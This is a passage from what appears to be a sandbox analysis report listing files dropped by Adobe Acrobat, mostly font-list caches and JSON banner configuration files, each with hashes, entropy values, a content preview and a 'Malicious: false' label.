MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7848

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7848

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.393422464594979
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJM3g98kUwPeUkwRe9:YvXKXdjLsdTeOaGMbLUkee9
MD5:	85BC2BF9906AB3A6C57655FB5F80B18E
SHA1:	C035EAACB35A34C7A0BEC7D469A20C383F6762E2
SHA-256:	80B35FB2D1BB8FE2C86090497E69357005CFE28A9F3CD04D599AF4F94B01A417
SHA-512:	2BAE859F2BB1BEF1EACD10D36F2934C3DDD61852FD1E923541553A54737F54070409FB079A9797433F8DEC7BF2B9C02AC0351E43DFF55F099F6982FB84918439
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.328795143698831
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJfBoTfXpnrPeUkwRe9:YvXKXdjLsdTeOaGWTfXcUkee9
MD5:	639CB3E1DD80DD4AFE2A4E2DE4C5F0FB
SHA1:	00A4F7F92666F5D111147384E890867FDE48885A
SHA-256:	487E64ABDCDFA76FE972F74745508FA90A0F04A7B64842A36BE936DEADD422A8
SHA-512:	88069229A446927F3FC91E4F4907A7009DACD64F5A19A5786BDC5493BCAB834CB366B03666AA09BEBBC63DF0EF0CF263CD893905A750956B0318052AE7B71AF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3077901790939075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJfBD2G6UpnrPeUkwRe9:YvXKXdjLsdTeOaGR22cUkee9
MD5:	27AE491EB20FF7311930ED829AC07049
SHA1:	424F15A93C64AFBAC0125A5ACC9D85D1F9A8BC1D
SHA-256:	38198F6F4EE42B5478072037E05732A8089736C616274B592A23BC0CBD8A4943
SHA-512:	45A308A62AB1E17A569116C1328387D6D20EF2E9816F688A1C310F849CA0C28653C5A03F48FE716B08264D856653279F31305DD3C39D89500E86A3D7909979D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.381355472250768
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJfPmwrPeUkwRe9:YvXKXdjLsdTeOaGH56Ukee9
MD5:	34A2DB1608B511FAEF6CA478F7C46018
SHA1:	92FB0F0ECFAAD284E875DF93F92FDA6278A35232
SHA-256:	F4D170F48EDBAEC364841885C19AB817A1EDE6A02E39B562D0C4BFB0254FC19E
SHA-512:	1200C6E2D5DACF2A2E80CAA36E64D3323DDCD230E0BF4E1186CC52DE566C0F0201CA84CEA1F22B54858DED20EAF67EBD825F4FB837B01B3BDF98F95552D4978F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693254140119026
Encrypted:	false
SSDEEP:	24:Yv6XdjLmeO3pLgE9cQx8LennAvzBvkn0RCmK8czOCCSq:YvY2echgy6SAFv5Ah8cv/q
MD5:	967A04E02B3EB66FE28EB13DEAFDF90E
SHA1:	8A0B4DF56A9922294CBDAABA8426785E4C490EA2
SHA-256:	D3EC55162E0DA54A8127D3D2667EC4164553912EA3D04FF3634C0D71408185E7
SHA-512:	C45DD57104340CC7F154D2F839337970EEA51F22E5B0FE6333E236A375BDCE80820AA8EF97E606D26083797696DD754F265ECF6ACD6368049D0341D73FD8C94C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318326649780799
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJf8dPeUkwRe9:YvXKXdjLsdTeOaGU8Ukee9
MD5:	D1B0616F700DAE68A0DE289580550376
SHA1:	03DAB5533ACA4E96259E016FC185C715E0FB2618
SHA-256:	0702470A06C8BE5F7877ACE9FFD8B16D76FFE0F53C943F98C1B7357564DAF360
SHA-512:	61F36963138B18C77A9E8789A5347D7628EAD7B2F0CBDFB9D8B5E71C2CD3F4B5391392DE85422553F5CA1ADE161101F66A0794FB4B0CDB3E858DB4F02BC6E329
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.321400373674734
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJfQ1rPeUkwRe9:YvXKXdjLsdTeOaGY16Ukee9
MD5:	30DC240C088642B838F69A49A6D608C8
SHA1:	10A4E5F414935EBB0E8FD2B74FEF3DEABB2D1C20
SHA-256:	095531C7C415172D7A40747554D68029ADC7A80FA4FFB3297EDC6400693961C3
SHA-512:	16E9FE6B87FCD83A59051A2626723BEEC3ACAA3CA4288C46D5A421107FAF1C37047EF043C32FF364200DE4622900639072EFE1AD359473C0293D7B965DDDD74F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3372878170537925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJfFldPeUkwRe9:YvXKXdjLsdTeOaGz8Ukee9
MD5:	22335B3489F74479B298FC7E8D465EC3
SHA1:	08A55FB904798915EC1F6804C05A965D94350912
SHA-256:	8BF8F58FBBA443B13CBECB5A5E7CC2453B06411D05EE9313F3584E705493C0C2
SHA-512:	BD24E50F245C64B195988DC9398659070E45DF65E7BBBA328C0FC7D86DE21E1AB1B05F0E661CEF9AD07B5209527E4893AEB4F49E38C77A090265DDE5D4900BDD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.344189789251147
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJfzdPeUkwRe9:YvXKXdjLsdTeOaGb8Ukee9
MD5:	36B292092A5F979A6EC56FB93EEE8B4F
SHA1:	84DD9A5ED8AFD469E49B345E46BD2020D3E95F50
SHA-256:	710B258EE29BB5C3333A7CFE5E2F616BDF9CDEBAF444CFA59725E71BD438EB4E
SHA-512:	5E50A130DD2A4783943A94F2B82FAC785C4ADAF92B15A8A6E5DBEF7CB5727347D0CFFF17C934FE4F3DC682AAC707AC01923482A82C71C9662798788D4EDE7978
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.324742931163804
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJfYdPeUkwRe9:YvXKXdjLsdTeOaGg8Ukee9
MD5:	08429185641F73D6B424ECA86044D2DE
SHA1:	6B60D44B895C6E037EDE1150BD3A50B809074C05
SHA-256:	0FB0A95E69007ADCFB501EDC090DA782F3123AD479576B01DEE0DBEDE655E858
SHA-512:	2487DA17BEB94F71573960F4B6B58B7C84C58E7D7C6330260FC932C57A412ED87B795F97B49FCB877FFF3C7F61D9ECA3BDFDDC2683AAA6043F43D2DFFD040248
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.3115279098995964
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJf+dPeUkwRe9:YvXKXdjLsdTeOaG28Ukee9
MD5:	35EEE084D71536C1B158D13C4ED7EC47
SHA1:	FF5BF7CAA195DC7D2192AE714057EEE84CD4B73C
SHA-256:	288DE220A3DCDB9939BA016C853D5A6956AF0374C09B4C98BC97981B3E8AB8A9
SHA-512:	AC0D98C10205BFB5ECC9DC7F9A7EF594D50168D135A6D8BBDA89FFF000F876F27C213250F19D47A07FC42CEC5E9B82452684C361F6087C4A9571AAF3E831C959
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.3081199743279495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJfbPtdPeUkwRe9:YvXKXdjLsdTeOaGDV8Ukee9
MD5:	6A7567A168D25B6E2AA36E2906369421
SHA1:	7E3D21934A614CC93398005C1755CB272FDBD258
SHA-256:	9A9819B9421CE713AF64DC74AE80B56CF39A1A14BBDF4E891D9D8B8B74F3A22B
SHA-512:	EA9F5739BF7C3E1DC4C852CD0BFCA82B9857578C4CBAF0FF6370383A58BA6B828F720A782D978E0C94501608E1FC6DBE087C138E96DA06614EFC1D3341B02270
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.312464155990941
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJf21rPeUkwRe9:YvXKXdjLsdTeOaG+16Ukee9
MD5:	BF87746121B46DA15A82A7BFA45854B5
SHA1:	DC4056ECD222E27CEDBF85488A0F16BAEF42D10F
SHA-256:	EAD5A0BBFF469B53549A7B36097F9E1D6E991EBCEA344EDF22F4A9DCC8DBC656
SHA-512:	E078E9782F43F32E67F05376C8D054DF74592179E38062786BB12FE97E1962C5C8111F7220CD9159BDC9F8F548268D4D302170712E6727B9AE48AE575B31CF21
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669382928990404
Encrypted:	false
SSDEEP:	24:Yv6XdjLmeOPamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSq:YvY2euBgkDMUJUAh8cvMq
MD5:	E46E1694E8E537A83A5C086DF99533CA
SHA1:	9A6C295BE2B4338CDD5A468A5E5119F712C400C9
SHA-256:	96F40688892E0F2A41635F00F4E592C1DD1FA78FE7EC9ED8942C7EEBFA4EE2D7
SHA-512:	BA61A27BE8B7C1DCF43FAF5DF0FD42599918E3B2CB2A5FCC432E64433B8F5FDDCBC193A852E5953B22FAEC4EF2CB68E39FCFA7B286169B665C220012FB0A7331
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

